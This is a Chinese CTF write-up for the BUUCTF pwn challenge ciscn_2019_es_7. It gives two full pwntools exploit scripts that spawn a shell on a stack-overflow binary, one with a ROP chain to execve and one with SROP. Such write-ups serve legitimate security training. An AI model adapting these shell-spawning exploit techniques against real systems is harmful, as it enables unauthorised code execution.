[BUUCTF]-PWN:ciscn_2019_es_7解析

这道题好像和buu的ciscn_2019_s_3是一模一样的

看保护

[BUUCTF]-PWN:ciscn_2019_es_7解析_第1张图片

64位,没开canary和pie

看ida

[BUUCTF]-PWN:ciscn_2019_es_7解析_第2张图片

题目还有能往rax传递0x3B和0xf的函数,这就提示我们可以用系统调用来getshell

解法一(系统调用execve):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./es7')
ret=0x4003a9
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
syscall=0x400517
mov_rax_3b=0x4004E2
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13=0x400580
main=0x4004F1

payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(main)
p.send(payload) #这里用sendline会覆盖输出地址的一个字节
print(len(payload))
p.recv(32)
onestack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(onestack))
binsh=onestack-0x118 #调试确定位置,打远程是-0x118,打本地是-0x148
payload=b'a'*0x10+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(binsh+0x58)+p64(0)*3+p64(mov_rdx_r13)+p64(pop_rdi)+p64(binsh)+p64(mov_rax_3b)+p64(syscall)
print(hex(binsh+0x50))
print(len(payload))
p.sendline(payload)

p.interactive()

补充点1:binsh+0x58那里是因为要传一个可以跳转的地址给call指令,不然可能会报错或者一直循环。

补充点2:64位系统调用的寄存器传参顺序是rdi,rsi,rdx等,rax是用来存系统调用号的,将相应参数存入对应寄存器,就可以syscall进行系统调用了。

解法二(srop):

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./es7')
ret=0x4003a9
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
syscall=0x400517
mov_rax_3b=0x4004E2
mov_rax_0f=0x4004Da
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13=0x400580
main=0x4004F1

payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(main)
p.send(payload)
print(len(payload))
p.recv(32)
onestack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(onestack))
binsh=onestack-0x118 #打远程这里是-0x118,打本地是-0x148

sigreframe=SigreturnFrame()
sigreframe.rax=constants.SYS_execve #这里填系统调用号59也行
sigreframe.rip=syscall
sigreframe.rdi=binsh
sigreframe.rsi=0
sigreframe.rdx=0

payload=b'a'*0x10+p64(mov_rax_0f)+p64(syscall)+bytes(sigreframe)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(安全,linux,运维)